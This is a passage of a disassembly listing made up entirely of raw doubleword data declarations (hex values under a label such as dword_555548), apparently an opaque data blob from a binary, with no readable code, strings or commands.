		dd 269D2D8h, 7168069Fh,	0EDF7E100h, 7A75784Ch, 57D62h
		dd 0EAD4726Eh, 0AC2835BBh, 0C4A64Ch, 1986D006h,	3392AFAh
		dd 46DC1074h, 24F9EEF8h, 0F0EFEBC4h, 12C56DF0h,	1C583100h
		dd 92BB5B84h, 0E47F0142h, 2EAE3093h, 823FDC4Dh,	0A160D300h
		dd 0FC6D54BEh, 0ED480061h, 6A5A12B8h, 1601E791h, 9ECEB714h
		dd 80FE75A6h, 7D1882F0h, 0A8243E3Dh, 0FFA08080h, 6DD2DDB5h
		dd 0F20099F4h, 3C6C30ECh, 6C4C9A1h, 0A77D2B31h,	9B070D2h
		dd 27265101h, 0F51CA6D6h, 3A09089Dh, 0A4E6028Bh, 7DFD9821h
		dd 6230804Dh, 2DC3CE9Ch, 0C4B91D2Bh, 2394052Ah,	2810059Bh
		dd 7C7D0BCh, 0D0F9C88Ah, 0D5CB8D6h, 7DC91F68h, 46E57007h
		dd 5BE1DE10h, 64500006h, 65825323h, 7B067744h, 0A69DC1Dh
		dd 5E7F20h, 0A59BB288h,	0B881CA2Ch, 0C49C98C5h,	0C221B0C0h
		dd 1AD1C2D5h, 5C808903h, 75A1CEF5h, 0BB01B5F0h,	45AC63Bh
		dd 5F307B1Dh, 77F001Ah,	42AFF5FAh, 0FD2808A1h, 30606416h
		dd 0B82BCEE0h, 147F4223h, 2030D802h, 551C1E27h,	5D6C40EFh
		dd 937D8C45h, 485C2E00h, 2A525F9Ah, 7A4A017Eh, 0BC14A321h
		dd 9D9FD872h, 992CCB1Ch, 2F40CE1Ch, 383C0DBEh, 7B162823h
		dd 0E8AD03AFh, 75276B3Bh, 29B25890h, 0EF078900h, 0E90FD11Dh
		dd 280600B3h, 0E0802F67h, 0C41F4FF3h, 0D5C05AF9h, 632740FDh
		dd 0CB930037h, 25FCE5ADh, 0D400236Dh, 1A54062Eh, 1363CF10h
		dd 802956B7h, 59BB40B8h, 0F0E1C46Dh, 0BCC3041Fh, 10005E30h
		dd 0CCB086D6h, 7E7C69A8h, 0D1173DB9h, 135A7A83h, 0E088D7BCh
		dd 0F232F851h, 100829AEh, 59408045h, 3D2284C3h,	8144284h
		dd 1D58CD1Dh, 0A322627Fh, 11404212h, 0AB21B326h, 9F109F08h
		dd 7F0020ACh, 0FA89656Bh, 5DC66h, 786CBAAFh, 71E0128Bh
		dd 7D52220Ch, 23B0A1h, 0D30A4330h, 2BBB54A5h, 426BF40Eh
		dd 264B219Ch, 4CCB55Ch,	6FDE005Eh, 34124925h, 0C800BCF2h
		dd 863A9F98h, 5513B9h, 0EA903C91h, 56A535D7h, 0FF2E3E8h
		dd 1FF8E271h, 0FD619300h, 8DE49AF5h, 163B01F1h,	0F31A403Fh
		dd 0ED5360EBh, 59130712h, 1D01E400h, 0E008C1h, 0D1AD1CF2h
		dd 2CF0C3DEh, 25000CEAh, 0CC8A58C4h, 7E71A6E8h,	3C009213h
		dd 701DABB1h, 3F57402Bh, 7885D043h, 4B27DF01h, 0BD4D08BEh
		dd 906DF9CCh, 0A3C05E4h, 17D25F6h, 11714FCh, 6F32D470h
		dd 494A7F00h, 9A07D8CDh, 415A01D9h, 0BCC20F19h,	32B1ECDAh
		dd 0D6223300h, 10FCB336h, 8FE0030Ah, 0EBA87649h, 6B2B3DE0h
		dd 0A3849A04h, 8C80240Eh, 2EC40DE3h, 5EAF53h, 6696D292h
		dd 8300C6F7h, 95170B9Bh, 1F87144Eh, 807EDFAEh, 0BC035D89h
		dd 88B8359Ch, 95319400h, 0EA540EB5h, 3AB9056Bh,	0C0E34A56h
		dd 9446F25Bh, 2E956300h, 0E1E2A838h, 0C6E000AEh, 6A64F82h
		dd 21005FB8h, 0D1CAFCAAh, 926E3Bh, 0F23780C1h, 8BC3DABDh
		dd 61A97E00h, 0AE3C5571h, 1A8C2498h, 63200BF0h,	5F006C0Eh
		dd 0F0E9800Dh, 0DDA5C000h, 0E19AFF3Fh, 0ABC81CF2h, 0EB3240FBh
		dd 0DF206D07h, 0F85A911Fh, 8DD72B40h, 16971644h, 7CF5B0h
		dd 42FF4624h, 0E900E4C3h, 28398405h, 0D927B5h, 0DB0F9E5h
		dd 18DB2A17h, 0D78DCE00h, 0F03D8B5Ch, 0E47E0072h, 0B58F041Ah
		dd 0AB07B980h, 0EB86787Bh, 0D0372E43h, 0F15070h, 0F801948Ch
		dd 0FD5F328Dh, 0BF196D00h, 9E86AB0Fh, 0E78E1D66h, 31007C3Ah
		dd 9634BABDh, 320AB777h, 0FC922702h, 3A65E600h,	785ABFD8h
		dd 0B34B0398h, 4614E8Ch, 0D2E52090h, 4CF93200h,	0B856E9D0h
		dd 8512003Dh, 720E90E3h
		dd 7D006B11h, 2CE2F02Ah, 7AF2C068h, 6152002Fh, 3DE30D79h
		dd 7100FAD2h, 0AEDE8F60h, 3A5469ECh, 2B008005h,	0A640A3E4h
		dd 0FAE2EB70h, 0B97A6B0Bh, 0D88C824Dh, 0F8B4C0E9h, 3F1A0161h
		dd 0F14570E0h, 346C3452h, 921E5471h, 0ED49EEB1h, 9C740718h
		dd 0EB90A4E0h, 0A1F900D4h, 9DF57D35h, 5B005F66h, 0EF0E1394h
		dd 0F011BDh, 1BD6400Fh,	3D1EADC2h, 20DD881Ch, 8ED57F80h
		dd 19517B78h, 80D492F2h, 31B7D064h, 0DFF9A200h,	0E38AF820h
		dd 0A7480180h, 89E4911Dh, 7EBCE87Dh, 0C8C28D07h, 58D1789Dh
		dd 0BD0374Eh, 2FA7C3Ah,	5C4D84EAh, 7D40BA46h, 0BC00AB8Bh
		dd 45ED2822h, 1E3E987Dh, 870DA682h, 670C04C8h, 9502B25Bh
		dd 3E2F888h, 0AF7EC57h,	2AAE3B80h, 66FF3703h, 9853089Eh
		dd 1E24FB8Bh, 0AD166Eh,	5DD89B4Bh, 2090F606h, 28442000h
		dd 4FE8816Ch, 0F2390F18h, 0EF31E4Ch, 23E0D060h,	823CCFD7h
		dd 0A9AEA809h, 56F4040Fh, 0EF579F20h, 4A2B5A12h, 31A22C40h
		dd 1F7F1FDCh, 7F416636h, 716F2E80h, 0ACD05CF7h,	0AF3BCE13h
		dd 33EA9C00h, 37E58D8h,	93A8DFFAh, 6CE122BEh, 5570C80Ah
		dd 0C7723Fh, 958CEDEBh,	3C082456h, 0AD81E43Dh, 0CD0AE303h
		dd 0E077CA2Fh, 288076B1h, 75DA6721h, 1287002Eh,	854F368Ch
		dd 0FC00FD11h, 50CCBD41h, 0C95AC0h, 0C3126FEDh,	0FEE09946h
		dd 1548A060h, 552924h, 0D1A8979Eh, 9967A4Eh, 82567B00h
		dd 0FFEA202Bh, 0A0355E14h, 8E007292h, 18B9D232h, 3D2384h
		dd 49C9A85Eh, 43119A2h,	55A57207h, 9CF0DEEAh, 763F0Bh
		dd 0EDCD16BDh, 0F7A82F44h, 1A196E00h, 34319168h, 0BDA60736h
		dd 30D3C441h, 2351F37Ah, 0F63721Ch, 984AF640h, 99A92Ah
		dd 3590B17Eh, 0ACE07F3Ah, 68E24D1Dh, 857850C0h,	0B026862Ch
		dd 764C1CFCh, 53730131h, 51CD1228h, 0C40736D8h,	0AF0C4F0Eh
		dd 19D656B9h, 88280011h, 0EF4C0DE2h, 2D73D06Dh,	0DE9B58h
		dd 5F0C6690h, 2C2CED8h,	0F453DC5Dh, 89C311A7h, 23B71100h
		dd 0D8EB2151h, 0C3300003h, 19473B5Ah, 0C700C8F0h, 2C6E146Ah
		dd 4CD92h, 5722171Ah, 0A7384EDEh, 0D2007C90h, 30534A93h
		dd 0A878919Dh, 99E5F4E0h, 0B62B00A4h, 0E24A24DEh, 4001C90h
		dd 5A97ACD2h, 586655h, 955D298Fh, 826C4F87h, 7CF49F24h
		dd 0BC404C00h, 21CDDE9h, 0D7FD02Bh, 0FCC0F318h,	0EC002272h
		dd 4D6BD823h, 0EAAF0129h, 902A0034h, 738C4785h,	7600D019h
		dd 14D715D4h, 35D692Dh,	0BC085A26h, 0D6804CDCh,	8601222Eh
		dd 1E8CA0E7h, 0DDC3352h, 931400F3h, 0C850B559h,	0D6004BC4h
		dd 812CC908h, 0D11E67h,	0ADE7E5B9h, 0DD86443h, 97006EEEh
		dd 0B1D9DCD6h, 0FF4EB0h, 0B6C24AD0h, 3FE5AC09h,	0A2B28400h
		dd 0F8889452h, 506B12F1h, 800A1C0Fh, 0B096B6C8h, 0D63E0DEAh
		dd 0F6048023h, 45D32E98h, 0E9A413A2h, 58260018h, 9624C75Bh
		dd 0E0271D00h, 0E726C5FCh, 0E6460059h, 0B2F3C4A4h, 0AA000256h
		dd 8507895Fh, 992026h, 63415991h, 86773213h, 0BDDAC807h
		dd 0D7206C97h, 6D63F8Ch, 1B01B953h, 57EA8E06h, 0F15A500h
		dd 0FE85E52Ah, 190C0067h, 89067A52h, 0DC0059DBh, 4E72C523h
		dd 0B042B1h, 8B21F278h,	0FF1B70A5h, 2FA70D00h, 3EF8D52Ch
		dd 8262132Bh, 5FF0010h,	0A51E58B6h, 0BC21D300h,	6DC1FCD8h
		dd 8638018Ch, 0C4F80C9h, 48E760DFh, 3F79907Dh, 3D993200h
		dd 0E3F0F3FFh, 5CF0B0h,	4ED5F743h, 0CBFC5705h, 67F1C000h
		dd 786C5A59h, 0ABC60735h, 0A7B8297Ah, 0F076702Bh, 0D6033AFEh
		dd 31383948h, 8828AB20h, 3B09BADBh, 418061DAh, 8E95A23Fh
		dd 2B00B263h, 4FD4EF74h, 56ECF2h, 6E8A70F4h, 1EC1FB35h
		dd 59CC4000h, 5C2A1DAAh, 649700A4h, 1117C4C3h, 34767309h
		dd 0FC0E25F8h, 0C02202ABh, 665B39B0h, 4EC63D6Bh, 0E8EABD00h
		dd 62B16C63h, 0D141FE0Bh, 4FC18753h, 8319F370h,	43EB002Eh
		dd 0F2D54450h, 800974Ah, 693155B6h, 3D308F98h, 3C802CE8h
		dd 71D07CAAh, 2600E781h, 0B6ED7046h, 951F1Ch, 18F20590h
		dd 0BF968F9Eh, 0E74F4D00h, 0DE716942h, 0CA4C00A7h, 0FF2280D5h
		dd 0D3E81112h, 0EC21D200h, 9D636A38h, 795000ACh, 0BB0B2D58h
		dd 9900F974h, 3FF19F41h, 0FE9EB5Ch, 8C084580h, 6C2AADE0h
		dd 0D800761Ch, 610398FAh, 0C07EFB88h, 7A1F0A78h, 5F0056E1h
		dd 4735E814h, 397BCBh, 0D540A270h, 0C305CF53h, 3D97130Ch
		dd 2FD854h, 0D33E7964h,	0A11444B1h, 59E5B007h, 80696BD9h
		dd 0EBFEAEACh, 0FA8D004Eh, 9C83B65h, 0A51C6160h, 6C8001B3h
		dd 94A21292h, 8A5E003Fh, 0E267AFBBh, 3975C1C3h,	0E8A7F800h
		dd 0EFF061F6h, 9B1E0173h, 44E6188Ah, 0CE8970BBh, 49BEAF00h
		dd 7D8CB82Bh, 0AA93F86h, 0CA89DD80h, 3EE8C061h,	0F4EC840Bh
		dd 45460007h, 0EBD440h,	0CEDC890Dh, 1E86AAACh, 0B423100h
		dd 0A2DFE7C6h, 0AF560075h, 37B803ABh, 8E0E3A2Ch, 0C0A96A07h
		dd 6FFFA7FCh, 6D57005Dh, 5E265A9Eh, 2D0079D0h, 8BD4AF44h
		dd 1BEDF8h, 6A8F6265h, 0A9B7F4BBh, 7EB8A700h, 0B16B1C0Fh
		dd 0FC3D4802h, 62B22A73h, 0AE7D12A8h, 5EC4034Eh, 84D78873h
		dd 0B3A480C9h, 0BF00E843h, 0C655C1B1h, 0C05D7872h, 0CD664240h
		dd 0D70768D5h, 0FF0D0285h, 0DD5B9500h, 0CA3E003Dh, 98C08FABh
		dd 0FE0F041Ch, 0CE0E88h, 0A39E050Ah, 4DAD2801h,	93852CE0h
		dd 7CBB0061h, 41804644h, 0C0C3DC00h, 109105D2h,	0FABAE0CAh
		dd 0DDFF30F3h, 1FD79018h, 3A8AD00h, 0D46AC1D6h,	0AA48003Eh
		dd 612B28E9h, 89FA7E87h, 7B02F112h, 1E1BDD00h, 3688DB4h
		dd 814ADDE4h, 1FF83706h, 0F50A281Ch, 0DCE90B57h, 98009513h
		dd 0A0AC7FFFh, 0CE2C18BAh, 0B5BFF9D5h, 9BE5D700h, 8E22F903h
		dd 9280199h, 96AD4F88h,	0E60FCC12h, 8134AF01h, 51F49211h
		dd 944BE30h, 0BCEA2DC5h, 21AB1780h, 43136935h, 98001B03h
		dd 0A1D84F05h, 0C16F008Bh, 6B86EB4Dh, 250FEE09h, 20595EC8h
		dd 0F2DD1439h, 4D52007Dh, 5751A4FAh, 5072E7Ah, 2CCAF612h
		dd 821831C0h, 2C9B4C8Ch, 79B87Bh, 30572D2Fh, 43A1B43Bh
		dd 0E6C43900h, 0C6534534h, 9B8A1D61h, 0BA5AC749h, 8029D75Bh
		dd 0FD2A8F69h, 2C2BEA00h, 83B36FCAh, 804D00CDh,	59F661BDh
		dd 0E200F2A0h, 198C8556h, 0F5B2286h, 0D353664Dh, 0B303D1E3h
		dd 2E3D01A0h, 79981300h, 1D9E5FA9h, 905600D6h, 76DBF0E4h
		dd 6D00A653h, 8E02DF4Eh, 0F14335h, 278DCB30h, 78954568h
		dd 0F7FFC0A0h, 0DA1F6500h, 0C9623B40h, 126A16C4h, 0ED6420CBh
		dd 0EE13277Dh, 0A440437Ah, 4282313h, 1CABFC8Bh,	406B1BB6h
		dd 16A9F4E1h, 0C0A01543h, 0B7000945h, 0E2A7CB8h, 24010DB0h
		dd 338D517h, 2DF2A7E7h,	3D1F9FE0h, 0BC9258h, 37F32CDAh
		dd 8043A2h, 0FD470DD9h,	0D027D3DCh, 69F8B112h, 0DD843000h
		dd 0B51621Eh, 12948D9Bh, 0C1406800h, 9500A9FAh,	6EBAB2FDh
		dd 0E27A3Eh, 0DF55F2ADh, 0FF852E1Ah, 4E7DC800h,	96D14CF5h
		dd 885C003Dh, 0C26414C4h, 0BB00D36Eh, 0EB6F799Ch, 111AFE8h
		dd 8DBCDD1h, 0C4A2483Bh, 0A706457Bh, 8A3AF890h,	0FFC40090h
		dd 0B3B5F84h, 3DFCBB89h, 7E4A0C00h, 0CDACF345h,	2CB78C4h
		dd 0EDFA089Ah, 688424h,	71887B5Fh, 3EA10FEAh, 9E20190Eh
		dd 48C64325h, 0E4889F54h, 0F3FAFCE8h, 0CD54D400h, 4B699462h
		dd 20346235h, 84E0A523h, 0EA074049h, 68BEC5CEh,	4C47C0B0h
		dd 350E3130h, 60CB7E28h
dword_555548	dd 0D6260418h, 50001870h, 0B5E70F31h, 0AA76EEh,	0ECF9332Ah
		dd 0AFFCDF65h, 7D4F1C2Eh, 5CC8E500h, 3EB3F254h,	0F500F90Fh
		dd 0CC14E9B0h, 0E700426Fh, 0A19E4C78h, 2F8DFCA8h, 0C7800E09h
		dd 3360AE61h, 7FEE3CB2h, 628CE700h, 0A6DBC44Bh,	55D200E0h
		dd 275045E6h, 0DF3A25FBh, 0A4AFBF54h, 0C80DC47h, 0F5767CEDh
		dd 93EC007Dh, 0CCABA631h, 6560613Ch, 961EA3EEh,	7A660544h
		dd 803AF4E0h, 0FD243027h, 1642A600h, 9BA78132h,	0B1EF6C2h
		dd 400F70DEh, 849C1289h, 0F222A01Dh, 0F8F49400h, 8ED785h
		dd 8D3F86E4h, 33D4301h,	11845F16h, 0FDBB6800h, 1C947C21h
		dd 0C0CFA9C4h, 22F86EE0h, 36008791h, 6B69C386h,	1DC9E130h
		dd 80E26F28h, 740FC4DBh, 51039C1Eh, 0E4419FFBh,	5280016Eh
		dd 952F388Dh, 64AA20A0h, 0D60C7F00h, 68DDCC06h,	0B573009Ch
		dd 0DB63B053h, 18B838C7h, 0E47EAD00h, 0F1AC06FCh, 6BB43022h
		dd 6D8CFB40h, 9690670Fh, 0E59BA00Ah, 0CFAA6Ah, 97CD1BC0h
		dd 6E9FAB74h, 0BEA3FE0Eh, 1800D2A0h, 4498D58Fh,	9DC00029h
		dd 2EDDCE76h, 0A918495Fh, 5EFA5AFBh, 27E431h, 0F1112084h
		dd 0A8430632h, 0D7F85600h, 2EC81D7Fh, 121B0188h, 1163A6A4h
		dd 521C30AAh, 742468B0h, 54009EB0h, 7C2FA4EDh, 0FF6107DDh
		dd 505FE18Ah, 9FB297B4h, 693CF512h, 391B9840h, 869A81h
		dd 7A7E0514h, 0A795F772h, 7909113Bh, 29B7100h, 5505F06Bh
		dd 357FD6h, 986F537h, 0EF622E51h, 0CFCC3E00h, 170F25CDh
		dd 165C981Ah, 0DB9561h,	15E3D11Ch, 19725142h, 66261D07h
		dd 0D03A54CAh, 0AE9B800h, 24EDF25Ch, 93B04958h,	130509B5h
		dd 0C5207C80h, 9BFEF976h, 0B9BBD000h, 91BECF27h, 4570126Fh
		dd 0C2480A2h, 0D301AA8Dh, 88240F1h, 1EF89635h, 0F5790075h
		dd 9AFA3E09h, 0EB0087F8h, 0E2B90D5Ah, 0E47A4A4Fh, 3468008Eh
		dd 9EBB8CEAh, 6E308DF1h, 0ED432C90h, 0DA440019h, 51C170F7h
		dd 4900FC77h, 593F63CBh, 98CDA9h, 0E9BC3B20h, 5626D0F7h
		dd 8077D73Ch, 6006E0DCh, 1F7A2EABh, 40928B76h, 486CA003h
		dd 0D2007BD0h, 8F0B8026h, 28CD96A8h, 3CC5FE4h, 0E8749D7Ch
		dd 88E5A95Dh, 0A70F86A0h, 4F3B3CCh, 8D87B905h, 0D0F53980h
		dd 5110C004h, 0D2F4358Bh, 74BB0A12h, 0ED400D00h, 17771457h
		dd 40912617h, 44FE3B4h,	78F05C22h, 9D739939h, 0FC1DC90Eh
		dd 1093DD06h, 95C1028h,	9DE18803h, 5E71D91h, 3A5DC08h
		dd 90C01610h, 0DADD6100h, 6A14AC62h, 464A0064h,	9DCF1E08h
		dd 70F27EFCh, 2AF3EC2Ch, 0B5D37B00h, 50163069h,	3CB45021h
		dd 5C00EFBEh, 14C193E5h, 87F78ED3h, 36BB0828h, 0A0E1B8B2h
		dd 1256BC98h, 0D8C0DC78h, 0EE3A014h, 51DC0410h,	0D0241C87h
		dd 9BC1AB97h, 0F2184500h, 0FDE24DE0h, 2DFE0069h, 0A4B6E955h
		dd 16034A96h, 4EDE269Dh, 6C60F7ABh, 0D286Fh, 2C9A9EC3h
		dd 0FA812210h, 0B00CE7Ah, 997D941Dh, 0B19B17h, 0D7C4FEF2h
		dd 8ED2073Dh, 0C6183200h, 2D60C377h, 0E1F80059h, 0D814D6BAh
		dd 3EEA15DEh, 0BF721601h, 1BB5C133h, 0B58D024h,	0F9D09546h
		dd 0A5350D80h, 0F20063E5h, 0A4B1CA7Fh, 72D992C0h, 7C4924EAh
		dd 0BF360007h, 82BF2AEh, 9DDD880Fh, 39BE1FAh, 3DE05135h
		dd 0DA07004Ch, 79A18BEFh, 0E5002E58h, 0AE7C48D9h, 10F089Dh
		dd 0B4DDB6Ch, 0C0B1EA66h, 0FE002B25h, 719E2333h, 2EA2BFh
		dd 39507D5Dh, 99A56B3Ah, 0E66E3205h, 6FC038CFh,	30E5FFBh
		dd 44D2C464h, 0BD03D87h, 31E08B50h, 4C223C04h, 0EF850A88h
		dd 6D00661Eh, 527F9AB3h, 2B8E12BEh, 404515Ch, 0B72445BCh
		dd 2F0E10EDh, 0F9B5E027h, 3BC49EDBh, 38BB30C5h,	4391EA1Fh
		dd 4DEB5A74h, 904B13D9h, 0A884FA29h, 54D844A4h,	4859A744h
		dd 0A1DD42C6h, 22571C22h, 0E2245BC1h, 40113F22h, 10B32842h
		dd 438ACAAEh, 0A4292827h, 42CB2228h, 5E148A50h,	0A308FD44h
		dd 22718228h, 0B721C9D6h, 0C01E562h, 58BD005Bh,	0BEAD00DEh
		dd 0BC57305Ah, 0FB00E452h, 0A4355568h, 74EAAAAFh, 77A800F9h
		dd 20EE8AA7h, 0E717E288h, 4100BC58h, 91D8B727h,	0B30AC025h
		dd 88C94028h, 5CC6E500h, 0CD18D5DDh, 1FCC2EC2h,	19A900FEh
		dd 0DA13E7D4h, 0D0A43Ah, 9F9B8E30h, 0AC5327h, 6D95991Bh
		dd 0AAA7EDD7h, 0D6BD2100h, 92AD1E29h, 523617D0h, 75CE0733h
		dd 6F05D051h, 0E4002F3Ch, 70BAAFCAh, 39E28A3h, 0ED71F492h
		dd 0A9F8B31Bh, 0B4000A47h, 3C8B7AA7h, 779BB5h, 8FD8F609h
		dd 68878E5Bh, 8B0BD038h, 8085F089h, 1E16C015h, 0BCF6AFh
		dd 51CDAA47h, 6BC895A3h, 0E256D100h, 0E58B74C1h, 0CCD45DB9h
		dd 0B7AC1901h, 0EC01DEFCh, 0A500311Fh, 0E8C57849h, 3B90B5C9h
		dd 8D8FC7C0h, 98A71A5Fh, 0F9006908h, 4DE44564h,	116BC130h
		dd 137F91h, 3DCC4051h, 0E714CA23h, 0F9C21D00h, 0FB50EFF4h
		dd 5A746AEEh, 84F5807Ch, 52F94CA9h, 788E420Eh, 0EBB7A040h
		dd 49545Fh, 1A8A94A4h, 2A42DFA5h, 0D01CED14h, 783500D9h
		dd 627D8869h, 0B3AF023Eh, 0A207DC37h, 0C75648E0h, 94F64200h
		dd 0C1BBD610h, 0D4BE00D9h, 0D187D304h, 8100CC05h, 1B8C97DAh
		dd 578392h, 59FD376Eh, 0D75ED4C4h, 6DEB0600h, 0A89623E1h
		dd 0B04A0447h, 80C5E751h, 0BB1A817Eh, 539BB713h, 91F85B00h
		dd 109AE1h, 76F19385h, 0F306C70h, 0B708E900h, 0BFCD608Dh
		dd 0FD17995h, 832A52E6h, 0CAE702A0h, 91074859h,	64FEEDBh
		dd 6EFE7B80h, 54BC005Eh, 6ADC5C4Bh, 0B648930Ch,	0EEE40088h
		dd 43198925h, 2ECF00F9h, 0E370602Bh, 5E00F026h,	9BEA9C2Ah
		dd 26563F75h, 1309AF9h,	1383F392h, 0B3FFF438h, 5DB4DE0Fh
		dd 0A25060A3h, 0E4861F3Ch, 0A13D3F91h, 52007C38h, 884EB131h
		dd 33E83D7h, 0DD5C6Dh, 0B5563A66h, 7DA77F04h, 0ECBF0020h
		dd 5706475Fh, 500E772h,	2E5D9F0Ah, 3C3645ABh, 0E3804C14h
		dd 48C0CC6Ah, 0D8020C4Ah, 0FDDEA494h, 0D7F9C021h, 6E580943h
		dd 8003EC09h, 0F3E0601Fh, 0DB003701h, 0CAFAA722h, 5C406587h
		dd 95008BE4h, 3FB043B2h, 8F09D44Ah, 40A782E5h, 5826C0h
		dd 8D10EF3Bh, 4DDAA061h, 0F91D23Bh, 606E866Dh, 870EDBCEh
		dd 0FB820017h, 0C41CA55Bh, 77008ADEh, 0FF28126Dh, 702BB964h
		dd 0BED8005Ah, 3185B849h, 10C70B6Eh, 0EAE0ED4Dh, 90A0B6DEh
		dd 57FE006Bh, 524F7A44h, 5E001702h, 0B3A7815Dh,	7DE471h
		dd 0F70A79EFh, 0CCDF82E2h, 8A2E5F0Fh, 716440ADh, 67903542h
		dd 408BC069h, 6D65BCFh,	0CCA10900h, 0D055D51Eh,	8EDE0015h
		dd 5FDB1786h, 2C01031Fh, 16B75CFEh, 1EE844F4h, 0B0630053h
		dd 0ED429541h, 48FE187Fh, 477B5B7Bh, 9F3CEB00h,	3528239Eh
		dd 0C776EA87h, 1044BDD0h, 0F1C5A4DBh, 9FF7A600h, 9EAD43C0h
		dd 0CCAF008Eh, 2679E38Ch, 2C0083A4h, 5E4C5DB1h,	1B81FEFh
		dd 0B352B7CAh, 0F0BED429h, 0AD3913B6h, 18D70058h, 5794EA8Dh
		dd 0B94E00D0h, 60F278C6h, 9C1C3896h, 971F0E65h,	7D4C3040h
		dd 1F98DFEBh, 0C03AE49Fh, 91F5481Ch, 0CA011E43h, 737DC65Bh
		dd 0B1FC95C7h, 9BE11C66h, 0E048787h, 25202041h,	70BC48Ch
		dd 54938F14h, 0A5450FABh, 2BC54703h, 889A8800h,	2B64EFEh
		dd 95F600A0h, 0C2523F50h, 73000549h, 0A4787C21h, 16131DB1h
		dd 6A0806h, 37EBA62Eh, 0E21C1AF0h, 3C400A58h, 83D2B213h
		dd 0CD40006Ah, 3D9861F6h, 1B00FB04h, 4490C043h,	3FE2FA0Ch
		dd 55028123h, 9C6F71C4h
		dd 972ECC40h, 0F465433Fh, 2AAFEB00h, 0E0675169h, 0AEFE0C9Ch
		dd 0D120C12Bh, 21A2B407h, 8D131D0Fh, 3AFBB8D2h,	0AB402E2Dh
		dd 0AE9800BBh, 6B7813B3h, 0E700CC90h, 3B59B02Bh, 0FA1DC2h
		dd 937EAC72h, 69D5650Eh, 63433500h, 97C84B6h, 9A27039Bh
		dd 9E462014h, 0F1AB89A0h, 83D80D3Dh, 0D034C721h, 0FFF7A0E1h
		dd 3C7B00ECh, 0FB6ECE36h, 674CED41h, 7A9C007Dh,	0F502A9B4h
		dd 3A1C003Bh, 0D30B91ACh, 42022127h, 0BA7ECA76h, 8450FFh
		dd 0E8772352h, 0A73FA680h, 0D6E5F700h, 74AAB595h, 20F3002Dh
		dd 710B3B2Ah, 83071A1Bh, 0E0A4B6FEh, 0C1F9B2D0h, 15F11E67h
		dd 0FB0E0537h, 60D80BFh, 7F287681h, 1600B094h, 0E4EAAB64h
		dd 0EE1A86A7h, 0B71705Fh, 3C450292h, 0F0FE3807h, 0C446F0C8h
		dd 8C477E0Eh, 0F44440D9h, 7C7DDE84h, 83B7004Eh,	0D39903B3h
		dd 8B00715Bh, 3948C205h, 1B11AA7h, 25F98411h, 0F08382B9h
		dd 7E0FB37Dh, 0C0B86979h, 5FCD67E0h, 4BF23Bh, 0CB299640h
		dd 0D8501527h, 0A442EF00h, 0C50B8281h, 8D59009Ch, 1CDF5DD0h
		dd 300060CFh, 0EF1B13FFh, 3C85Fh, 22F7E625h, 0B8B43961h
		dd 0F6A16607h, 0C04F9746h, 6A98DD95h, 24CC00EDh, 0B22968BEh
		dd 0E013150Dh, 30006403h, 4AA5DF1Bh, 2578C6h, 0A43DDC71h
		dd 94D0C044h, 0D5171900h, 0B30F4EA1h, 1E86E6DBh, 0DC3DE687h
		dd 302056CEh, 0B12F9CA4h, 504C3AFCh, 0FBF10130h, 7222AF93h
		dd 0E3B430h, 2BACC230h,	59B4A220h, 0C82BC0Eh, 98E22039h
		dd 7F2C1302h, 9D3D2C11h, 0BB940050h, 9C84BF74h,	0CC225800h
		dd 8569216Fh, 0F21D0212h, 0D9FA3B4Ah, 3C604340h, 73BB7C04h
		dd 0C0C5250Dh, 0E02E2300h, 1268EA9Bh, 1D957912h, 2734004h
		dd 7F1BBE91h, 35583100h, 0D14E22C2h, 0CDC31623h, 0A390000Dh
		dd 82FD5E21h, 31B60903h, 8254E7C8h, 1972C081h, 0BBED029Eh
		dd 2D8426D7h, 3E83B440h, 5C587320h, 8D00B7CFh, 5E6ACECDh
		dd 0C055F19h, 8FD31375h, 81573480h, 92300040h, 792F9F72h
		dd 90006735h, 37BACF80h, 5A7BD3h, 0EAF712D0h, 890AE504h
		dd 0D6F63F0Eh, 0FE9381E9h, 78386FDCh, 81B3640Fh, 0D860BBEEh
		dd 15BFF320h, 580420B8h, 2D65DDF6h, 486F4880h, 87D9035Ah
		dd 7ECB5403h, 0DBC1A380h, 0FA2B5802h, 0C06778D6h, 62E295h
		dd 95973915h, 314DDB2Eh, 18428800h, 890E792Bh, 0BCF2049Eh
		dd 80C9C4D6h, 6226ACAFh, 491BBF07h, 216CAC8h, 7A570041h
		dd 0E1A73A2Ah, 600E8D6h, 0CF85FBBBh, 4E5C76h, 0A53C618Bh
		dd 599E09F6h, 2D736800h, 993ADF45h, 0B36C00A0h,	5146AF10h
		dd 1B07F1A3h, 12089BE7h, 808EFDE2h, 23984EECh, 11C7405h
		dd 0D2444CCBh, 0FC020736h, 49002BDFh, 770520EAh, 0C383CEh
		dd 0AD7DBDAEh, 0D7DBC472h, 0A611E00h, 0EC270B5h, 58B10053h
		dd 0C720A6D2h, 0DA90104Ah, 1F14EF0Fh, 0A37427AFh, 0B940E8B7h
		dd 4E1BC0h, 0B8EC05E9h,	15CE50DFh, 0A579B700h, 0CB71035Fh
		dd 809F0133h, 58B29C7Ch, 24183C56h, 0C06090C4h,	36BAAF1h
		dd 67014D79h, 0FAA03A81h, 5E00B6D4h, 846EBEBFh,	0E6DB5B93h
		dd 0C991149Bh, 2900ABA7h, 0D8E57AC4h, 36002180h, 6BF6DD8Eh
		dd 0B911F7h, 6D966E8Fh,	4AF90EE2h, 0A0D5DC00h, 2A1B3D8Dh
		dd 34D98ADh, 0B570138Ah, 9800957Ah, 8D23D711h, 0D3BE1F6Dh
		dd 0DF03FE08h, 0A13524B7h, 2084D112h, 0C70DC964h, 512D8068h
		dd 10187761h, 0B9286570h, 0BA750713h, 0E0D062F3h, 3B698372h
		dd 187CD81Fh, 6B05F600h, 5312B0h, 4936CB9Bh, 0C60C8FFh
		dd 0ED72BB00h, 40893F1Eh, 8820F973h, 11AA24E5h,	9E1F0578h
		dd 0F158D09Fh, 8709A8CCh, 60F79CECh, 0C08B210h,	41915B10h
		dd 0C6004E10h, 2435416h, 476476h, 0B69D8CA7h, 0F7DA3F61h
		dd 5C009B98h, 0A0259143h, 793986Fh, 6B142365h, 0D6C60107h
		dd 9FA3E062h, 0B5F2D04h, 0ABC0A2F6h, 3A3D40h, 9D847917h
		dd 2B96AC31h, 0CFAA5400h, 18C5F259h, 16290024h,	0DDB03C51h
		dd 51B08DB7h, 0ABE0507h, 3191E646h, 0D1F99343h,	321DC840h
		dd 942220EEh, 0A98FA928h, 0EA0FA48h, 8291AA44h,	0C932FC2Eh
		dd 208069FCh, 0D5B5E3C5h, 9002C834h, 3AB9ECA9h,	0F16C6938h
		dd 0A41D170h, 7CFEC57Bh, 81003DC8h, 4C894E50h, 0CC028CE7h
